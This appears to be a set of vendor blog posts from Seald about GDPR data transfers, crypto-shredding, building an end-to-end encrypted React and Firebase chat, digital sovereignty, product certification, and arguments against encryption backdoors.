A "transfer" under Article 46 of the GDPR is broader than one might imagine. It is any transfer of personal data to an entity :

🟢 which does not operate within the EEA;
🟢 with a subcontractor which does not operate within the EEA;
🟢 in which persons outside the EEA have the ability to access the data (e.g., to perform support).

The third item is particularly restrictive: if a US-based employee of your hosting provider has the technical ability to connect to your servers hosted in the EEA, this constitutes a "transfer".

FISA 702, Cloud Act, ... ⚖️

There are several different pieces of legislation that regulate the controversial capabilities of the American justice and intelligence services. The one used by the CJEU in this decision is section 702 of the Foreign Intelligence Surveillance Act as amended in 2008.

FISA 702 📄

50 USC § 1881a (introduced by Section 702 of FISA added by the 2008 amendment) requires cloud hosts to provide U.S. intelligence agencies with the data they control, store, or manage, as well as the encryption keys to decrypt that data, relating to non-U.S. persons to be monitored.

FISA Section 702 is not extraterritorial, i.e. it is only applicable to companies operating in the United States.

However, if those companies have the ability to remotely access servers hosted in the EEA, then the data stored there can be seized under FISA Section 702. This is why the definition of "transfer" covers this eventuality.

CLOUD Act ☁️

The CLOUD Act passed in 2018, amends the Stored Communications Act to allow for its extra-territorial applicability. It allows US courts to issue a search warrant compelling US cloud providers (even if the data is hosted outside the US, e.g. in the EU) to provide all data of an individual, without any authorization from the courts of the country where the individual or the data are located.

No decision by European authorities on the consequences of the CLOUD Act on the GDPR has been issued yet, but it is arguable that subcontracting to companies subject to the Cloud Act constitutes a transfer, even if the hosting is done within the EEA. Supplementary measures should therefore be implemented to ensure compliance of the "transfer".

SCC & supplementary measures 💪

The European Court of Justice has confirmed that the use of Standard Contractual Clauses (SCC) between the exporter and importer is valid.

However, these SCC alone are not sufficient to ensure the compliance of the "transfer". Additional measures must be taken to ensure that the "transfer" provides equivalent safeguards to data subjects as it would without the transfer.

That is why the European Data Protection Board has issued recommendations for such additional measures to be applied, such as encryption.

If no combination of supplementary measures can ensure guarantees equivalent to an intra-EEA subcontracting, the transfer must be stopped.

In concrete terms 🔥

A European company cannot naively subcontract to American companies, it must for each one:

• Use SCC as a legal tool for transfer;
• implement supplementary measures to achieve a level of data protection equivalent to intra-EEA subcontracting.

If you are looking to implement additional measures such as encryption in your company, contact us!

Difficulty of data destruction

Data destruction is a major issue in data protection regulations such as the GDPR in the context of exercising an individual's right to erasure.

When a company exercises a person's right to erasure, it must search all databases, all object or flat storage, all logs (and their backups) to find all occurrences of a piece of data, and delete them.

Anyone who has ever been confronted with such a request will know that this is not easy:

• it is difficult, if not impossible, to delete data contained in a backup (not to mention the backups that are silently made by the hosting companies);
• the same data is often replicated in different forms in the infrastructure;
• deletion in a relational database can trigger a cascade of involuntary deletions;
• and so on.

Benefits

Crypto-shredding changes the approach to the problem: instead of searching / cataloguing all versions of a piece of data across the entire infrastructure, the problem is centralized on one encryption key for all versions of a piece of data.

When a piece of data is first collected, it is encrypted with a centrally managed individual key. The encrypted data is stored, backed up, replicated normally, decrypted each time it is used, and as soon as a new version is produced, it is encrypted with the same key.

When you want to delete the piece of data, you don't need to start an archaeological dig, you just have to destroy the encryption key, which is managed centrally.

How it works

If the encryption key used to decrypt a piece of data is destroyed and there is no copy of it, this prevents anyone from decrypting the piece of data. This is called crypto-shredding a piece of data.

The original data could then only be reconstructed by "breaking" the encryption, which with modern and robust algorithms is considered impossible. If "breaking" the cipher were possible on a given algorithm, then the algorithm used would be judged as vulnerable and would have to be abandoned.

Thus, crypto-shredding a piece of data is equivalent, in terms of risk of data breach, to deleting the data.

Limitations

Three limitations exist with crypto-shredding:

• if the encryption is poorly implemented (e.g., using vulnerable algorithms) crypto-shredding of a data would not be equivalent to deleting it;
• since crypto-shredding does not delete the encrypted data, the encrypted data would still take up disk space;
• keys have to be managed for each data and decryption operations have to be performed at each use, which requires a well organized key management, and secure deletion of the keys in paramount to crypto-shredding.

The Seald-SDK allows to perform fine-grained crypto-shredding on encrypted data, don't hesitate to contact our teams to know more about it!

Today, let's discover a small chat application developed with React Hooks, Firebase and a new package named Seald! 🔥

End-to-end encryption can be complex and expensive to redevelop, even if it is essential to protect the confidential data your applications handle. With Seald SDK, we perform end-to-end encryption on data stored, produced or received by your applications.

Let's take an example with a chat application! 💪

Structure of our chat app 🧰

Above is a demo of our chat app in React, with an end-to-end encryption system, including several features:

🟢 Create a room
🟢 Add/Remove users from a room
🟢 Modify a room
🟢 Registration / Login
🟢 User status
🟢 Encrypting and decrypting a message

The main tools used are:

Firebase, a ready-to-use framework which allows us to create a persistent authentication system, save our encrypted messages in a database and receive them instantly when a user posts a new message.

React which will be our frontend library to perform and design simple views for each state in our application.

Seald, the turnkey library we will use to bring end-2-end encryption 🔐 to the chat.

Auth system 👨‍💻

Only 3 routes for our chat application with authentication. Registration, login and room management.

We define if the routes are allowed for authenticated users or not.

Password derivation 🔏

Normally, we would send Firebase the password in cleartext, and then Firebase would derive it with a secure function such as SCRYPT in order to avoid having it in the database.

In our case, we want to prevent Firebase from ever being able to read the password, even if it’s not stored, because we’re going to use it for protecting the Seald identity end-2-end (even from Firebase).

In order to do that, we just do the same operation Firebase does, but before giving it to Firebase : we derive the password with a secure function (SCRYPT) and then use it as a password.

Sign up 👤

In order to create a user in this application, a simple form containing 3 fields is enough:

Nothing very complicated in the code. We ask Firebase to create an authentication via an email and a password provided by the user.

And also add some informations about the user, like the name and a photo URL.

Then, we add the Seald application layer to create our future
encrypted messages.

Sign in 👤

Then, the login. A classic form (email / password) in order to access the rooms and be able to chat with other users.

Same as on the registration. We retrieve the Firebase authentication of the user and his Seald account.

Rooms 👨‍👩‍👦‍👦

That's where the interesting part comes from.

On this application, it is possible to chat in 1 to 1 with an another user, but also to chat with a group of users in a custom room.

Create a room 🧸

Let's detail this code together:

• First, we send the form data to Firebase. The name of the room and the selected users are required.
• Then we create an encrypted session using the Seald SDK. This will allow to encrypt and decrypt a message for this room.
• And finally, we want to send the first encrypted message to welcome the users of this room.

Send encrypted messages 🔏

Now, let's chat! But, remember, we want an End-To-End encryption for the messages.

Before each created message, we need to check if we have an authenticated Seald session. If not, create that session with the SDK 🔒.

Then, the session allows us to encrypt a string, which is our message.

Alice 👩 sends a message to Bob 👨

"Hello my friend"

We call the method encrypt for our message above:

The message will become:

"{\"sessionId\":\"NazDAYyuRw2lDKS0VaianA\",\"data\":\"8RwaOppCD3uIJVFv2LoP3XGXpomj0xsMv4qmMVy30Vdqor2w0+DVCXu3j13PEyN2KfJm6SiSrWDRMDziiiOUjQ==\"}"

Now, Bob 👨(and other users of the room) need to decrypt the message of Alice 👩. How can we do that?

Decrypted messages 🔐

Now that we know how to send an encrypted message, let's see how to retrieve a message instantly and decrypt it for other users.

We use the value event to read our messages, as they existed at the time of the event. This method is triggered once when the listener is attached and again every time the data, including children, changes.

Read more about reading and writing Data with Firebase 📂

We retrieve our message list every time a message is added. So, an encrypted message is displayed, but now we need to be able to decrypt it:

Bob 👨 actually sees:

"{\"sessionId\":\"NazDAYyuRw2lDKS0VaianA\",\"data\":\"8RwaOppCD3uIJVFv2LoP3XGXpomj0xsMv4qmMVy30Vdqor2w0+DVCXu3j13PEyN2KfJm6SiSrWDRMDziiiOUjQ==\"}"

We call the method decrypt for our encrypted message above:

Bob 👨 will now see:

"Hello my friend"

We now have a real-time chat with an end-to-end encryption system 💪

Note: To use the Seald SDK, go to seald.io.

Voilà

Cheers, 🍻 🍻 🍻

Beyond agriculture or the pharmaceutical sector, where we now want to maintain production in France (or at least in the EU) for the sake of sovereignty, even if it is less competitive than foreign competition, where are we in terms of our digital sovereignty? Are we giving ourselves the means to sovereignly exploit "the oil of the 21st century": our data?

There is a long way to go

Our partner Cabsis recently detailed in its article "Comment la France va perdre la souveraineté de ses données de santé" (which I recommend french speakers read) how we have just delegated to our American friends the hosting of our SNDS (Système National des Données de Santé) health database. The issue here: no French provider was able to fully meet the specifications.

Absurd but true: we set rules to protect our information assets, but these rules actually favor the striking power of foreign vendors.

This is not surprising knowing that 75% of the 70 billion euros spent each year on digital technology in France goes into the pockets of non-European players. So game over in terms of sovereignty for our health data.

Does this mean that the game is totally over?

Like a warlord trying to unite the Gallic peoples in the face of the enemy threat, the PlayFrance collective launched an appeal three months ago (also to be read by french speakers) to mobilize French digital players and raise the awareness of public authorities on this subject.

Some good results already; the most striking being certainly the decision of the APHP (Parisian hospitals) to decline the services of Palantir during the health crisis. Seald is also proud to be among the 300 software providers for French digital sovereignty (see cartography).

The subject is not new: Bruno Le Maire was already talking about it in February 2019, long before the subject came back to the forefront by force of circumstance. "There is no political sovereignty without technological sovereignty" declared our Minister of Economy.

While this is indeed a major challenge, recognized as such by our managers, for the moment few major technology companies are flourishing in France, or even on a European scale, comparable to the American giants in the software sector or comparable to the Chinese giants in the hardware sector.

It's all a matter of prioritization

As we pointed out in our June 26th article "End-to-end encryption: how to use the Cloud while remaining sovereign", it is not necessary to completely cut ties with our trading partners. Let's take the example of the American GAFAMs: at Seald we defend the possibility of relying on the American Cloud while not allowing them to spy on us.

The idea is simple: when you rent an apartment, you wouldn't want your landlord to have the keys and visit your home unexpectedly, or even that he can monitor your every move via a video surveillance device.

Yet this is what many French organizations allow by delegating the management of the confidentiality of their data, without thinking twice, to American companies who promise you that on their products, "everything is encrypted". This is obviously not taking the Cloud Act into account and the heavy suspicions that weigh on the operations of American intelligence services, not for the fight against terrorism, but for economic espionage and destabilization purposes. Examples of this are the PRISM or XKeyscore programmes, where the NSA already had access to the data of all the digital giants as early as 2013. As they say across the Atlantic: "America first".

Some would like to no longer depend on foreign players at all, and have European equivalents of any American company. This is the Chinese policy: Baidu replaces Google, TikTok replaces SnapChat, Huawei replaces Cisco, and so on. To do the same thing in France or in the EU is unthinkable, it would mean preventing ourselves to export and going back 20 years in computer science.

Instead of this unrealistic ultra-protectionist policy, an in-between would be to prefer European companies on European public markets. This would allow our startups of today to become the unicorns of tomorrow (remember that France today has 15 times fewer unicorns than the United States and 6 times fewer than China) and to continue to exploit the power of foreign hosts by taking precautions such as encryption, as Seald proposes, to maintain sovereignty over data.

The trend seems to be confirmed: the Privacy Shield has just been invalidated by the Court of Justice of the European Union, which rightly ruled that it was not a "shield" to protect the data of European nationals. At the French level, Jean Castex announced in his first general policy statement to the French National Assembly on July 15 a 40 billion plan in support of France's industrial sovereignty.

Digital sovereignty: passing fad or underlying trend? Time will tell. But solid foundations are being laid.

When Seald was created in 2016, we already had the will to have our solutions certified to demonstrate the seriousness of our solutions. At the end of 2019, we took the decision to start this process.

Scope

This process begins with the selection of the scope to be assessed. At Seald, our solutions are many and varied to cover a maximum of use cases. It would therefore be unrealistic to certify everything, especially since the certification is only valid for a given version and not the updates that follow.

So we decided to certify the so-called Seald-SDK which is a Javascript code library that is used in all our solutions, including the desktop application, the mobile application and the command line version of Seald.

Target

Once the perimeter was established, we formally defined which threats we wanted to guard against: the security target. On this subject, we offer our off-the-shelf solutions, but they are all based on a server, which is offered in Cloud or on-demand.

To be very strict, we therefore decided to consider this server as potentially compromised and to prove that, despite this hypothesis, the confidentiality of the elements protected with Seald was not compromised. This is why the certification only concerns the "client" part of the Seald technology: the Seald-SDK.

This target includes most of the cryptographic mechanisms associated with the Seald technology for which we have provided a cryptographic supply document detailing the algorithms used and the way Seald manages keys, the addition of a posteriori rights, multi-devices, etc.

It was written in collaboration with a CESTI, which we commissioned to evaluate the product: Synacktiv, whom we thank very much for their professionalism and availability.

Contact our teams for a demonstration.

Better Seald than sorry.

Recent events have put end-to-end encryption on the front of the stage: Zoom has bought Keybase to offer end-to-end encryption, Doctolib now uses this same technology on medical data, Les Assises de la Sécurité places Olvid and Seald in the finals of their Innovation Award. Coming from leaders in their category, these actions and positioning are no longer weak signals, but rather the sign of a paradigm shift. This is therefore an opportunity to shed light on what distinguishes popularized encryption from end-to-end encryption, and to look at the sovereignty promised by this technology when applied to the power of the Cloud.

"Everything is encrypted in here"

While most services offer some form of encryption, they are not necessarily "secure". To get to the heart of the matter, it is essential to question authorization management: who can manage or access decryption keys? The broader or more indeterminate the answer, the less precise is the security.

The promise "everything is encrypted in here" is therefore often abused. Don't be fooled by the Cloud hosts themselves, not all encryption is end-to-end encryption. Many providers play this blur and claim that "it's encrypted" with no explanation whatsoever.

Nowadays, everything uses encryption, but that doesn't protect against all threats: the article you are reading now, for example, is made accessible through an encrypted connection, but anyone can read it (and that's perfectly normal).

So, what is true end-to-end encryption?

End-to-end encryption integrates a strong and decisive notion of decryption authorization management. Concretely, it makes it possible to protect a message (text or file), based on encryption algorithms, addressed by person A to person B. This process ensures that no intermediary (host, service provider, government, etc.) can read or decrypt the content.

This is nothing new...

Since 2013 and Edward Snowden's revelations about mass espionage by the United States, end-to-end encryption is gradually being deployed in consumer messaging applications: Signal and Telegram in 2014, WhatsApp in 2016, etc.

However, its adoption in the professional world was more timid until recently, even though tools are available (S/MIME or PGP for example).‌‌

For our part, we created Seald in this same dynamic, shortly after WhatsApp was launched.

... but the Covid-19 accelerates the adoption of uses

The Covid-19 crisis has only reinforced the urgent need for companies to become fully digital. Allowing the maintenance of activity in degraded conditions, remotely, the adoption of work solutions hosted in the Cloud, has become a question of survival.‌‌

Meanwhile, the debate over data sovereignty, the application of DPMR, the fear of the Cloud Act, the vendetta against GAFA, etc. is gaining momentum. Some are even talking about building a sovereign Cloud! Yet it is a battle that many in Europe would say is lost in advance. AWS, Azure, Google Cloud or even Office 365 and GSuite have become commodities, unbeatable in terms of price, used at all levels, in all types of organizations. If using them means putting the sovereignty of one's data at risk, not doing so creates a colossal handicap.‌‌

Reconciling the irreconcilable: combining Cloud and end-to-end encryption‌‌

Under these circumstances, end-to-end encryption has major advantages. It allows us to continue to use the best Cloud provider in complete security, whether it is American, Chinese or European. If the data that this Cloud hosts is end-to-end encrypted with technology like Seald's, there is no risk of losing sovereignty over the data.‌‌

The host has no authorization and therefore has no access to the understanding of the content! Backed by an end-to-end encryption solution, there is no longer any scruples about storing critical data on AWS or Azure in a shared cloud.‌‌

Known for its position on data sovereignty, the United States is validating the relevance of such a solution when, this month, the Senate sees an umpteenth attempt to ban end-to-end encryption with the Lawful Access to Encrypted Data Act...

If you want to learn more about how to protect your data in your cloud hosted services, contact us!

How do I set up end-to-end encryption?

The challenge of implementing end-to-end encryption is twofold: it has to be perfectly robust, and completely transparent to end users. Reconciling these two areas of expertise is a difficult task, and that's where we at Seald come in: providing end-to-end protection that is completely transparent to users and tailored to your business workflows.

The first steps in such a project are to answer these three questions:

• What are the elements you want to protect? Knowing that any end-to-end encrypted element will no longer be able to be the subject of backend operations or research on these elements.
• Who will need to have access to it? Knowing that it is necessary to provide backup access by an administrator to retrieve keys in the event of loss or compromise of keys.
• On which terminals, servers or applications are these elements written and read? They should be encrypted as soon as possible and decrypted as late as possible. Determining where the elements come from and how far they go is critical for the broadest possible protection.

Once these issues have been scanned, the technical work can begin:

• choosing robust cryptographic primitives - Seald uses algorithms recommended by ANSSI's RGS;
• set up key management for each recipient - Seald provides turn-"key" mechanisms;
• integrate encryption, decryption and authentication for each operation in each terminal, server and application - Seald offers development kits that can be integrated into any system, including AD / LDAP;
• implement recovery mechanisms to prevent data loss - Seald offers an easy-to-use backup key mechanism that supports end-to-end encryption;

To save you from having to do all these steps yourself, Seald can support you with turnkey or customized end-to-end encryption solutions in your applications and workflows.

Contact our teams to learn more!

Some politicians, including Mr. Cazeneuve, demand against the unanimous opinion of experts that every message transmitted on the Internet should be readable by States. I find it desperate to read such proposals from governments with regard to data encryption.

Many services are now putting in place cryptographic means (i.e. encryption) to ensure that only the sender and recipients of a message are able to read it. This is roughly equivalent to putting every message in a safe, and ensuring that only the recipients have the key. The major difference with a real safe (which can be cut out of a disk and protects a physical asset) is that an encrypted message can be duplicated without anyone knowing, so if it could be decrypted with a disk, anyone with a little skill (or a good tutorial) could steal the confidential data without anyone noticing. The trick of cryptography is to make this virtual safe almost unbreakable by the mathematical complexity of the problem, that is, to make it so difficult to calculate the key that the computing power required exceeds what all the computers on Earth combined are capable of doing.

Possible solutions

Now that we have popularized what cryptography represents, let's decipher the demand of these policies, which naively may seem clever: to give the state a recorder. Let's analyze how this could be done :

• outright banning encryption,
• force email providers to be able to read messages (i.e. prohibit end-to-end encryption),
• give copies of the keys to the State (like a master key),
• weaken the algorithms so that they have a flaw known only to the state.

The first solution is not acceptable, it's like giving the content of his messages to anyone. This is equivalent to having all your private exchanges posted on Twitter and accessible to everyone.

The next two are equivalent to doing what is called a single point of failure: the provider or the state. If one of them were compromised or hacked, it would put all users at risk: it's like painting a target on your head, and we know that every computer system has flaws, so it's not easy to work with them. Solutions 2 and 3 therefore revert to solution 1, which is not acceptable.

The fourth is absurd since the algorithms are publicly known. If they had intrinsic flaws, they would end up being discovered and therefore exploitable by anyone, and this would also come back to proposal 1, which remains unacceptable.

Finally, even if it were possible to fabricate an inviolable means for the state to read everything without flaws and on a judge's warrant, it would be enough for criminals to turn away from legal messaging to illegal but flawless messaging that already exists. I don't think they're too embarrassed by committing an additional offense....

I will conclude with a quote from Philip Zimmermann (a major player in cryptography):

“Si la vie privée était hors-la-loi, seuls les hors-la-loi auraient une vie privée.” P. Zimmermann

Better Seald than sorry.

Discover Seald with your team!